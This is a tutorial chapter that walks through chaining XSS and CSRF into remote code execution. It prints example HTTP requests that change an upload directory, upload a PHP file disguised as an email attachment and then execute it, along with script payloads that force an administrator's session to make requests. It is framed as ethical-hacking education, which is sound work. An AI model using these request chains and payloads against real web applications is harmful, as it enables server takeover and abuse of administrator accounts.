Chapter 2 XSS to RCE
Chapter 2 - XSS to RCE
HTTP Request for Global Settings Change
Explanation:
- The attack sequence initiates by exploiting a global settings manipulation vulnerability using an HTTP request. This request is crafted to change
tmpFolderBaseName, which is the directory used for uploading files. Example:
POST /admin/settings HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: length
tmpFolderBaseName=new_temp_directory&submit=Save
2. Payload Upload through Email Attachment
Explanation:
- Following the global settings modification, the attacker uploads a malicious file under the guise of an email attachment. This file is usually a script (e.g., a PHP file) that can execute on the server. Example:
POST /mail/addattachment HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: length
------WebKitFormBoundary
Content-Disposition: form-data; name="attachment"; filename="malicious.php"
Content-Type: application/x-php
<?php phpinfo(); ?>
------WebKitFormBoundary--
3. Executing the Uploaded Payload
Explanation:
- After uploading the malicious PHP file to a new or existing directory, the attacker navigates to this file via the browser to execute the script, achieving Remote Code Execution (RCE). Example:
GET /new_temp_directory/malicious.php HTTP/1.1
Host: vulnerable-website.com
4. Combining XSS with CSRF for Administrative Actions
Explanation:
- The document describes leveraging XSS to execute Cross-Site Request Forgery (CSRF) attacks. This is achieved by injecting JavaScript through an XSS flaw that triggers CSRF actions, such as changing email settings or triggering file uploads, using the credentials of a logged-in administrator. Example:
<script> document.body.innerHTML += '<img src="http://vulnerable-website.com/admin/settings?tmpFolderBaseName=new_temp_directory&submit=Save" style="display:none;">'; </script>
5. Detailed XSS Payload Crafting and Debugging
Explanation:
- Crafting XSS payloads involves creating scripts that bypass client-side sanitization checks and perform malicious actions invisibly. Debugging these payloads may involve using browser developer tools to modify and test scripts live against the targeted application. Example:
<script> fetch('/admin/settings', { method: 'POST', body: new URLSearchParams('tmpFolderBaseName=new_temp_directory&submit=Save'), credentials: 'include' }); </script>
These processes outline the transition from exploiting an XSS vulnerability to achieving RCE through a series of crafted requests and manipulations. The document details each step to ensure the reader understands how to exploit these vulnerabilities effectively in a controlled environment for educational or ethical hacking purposes.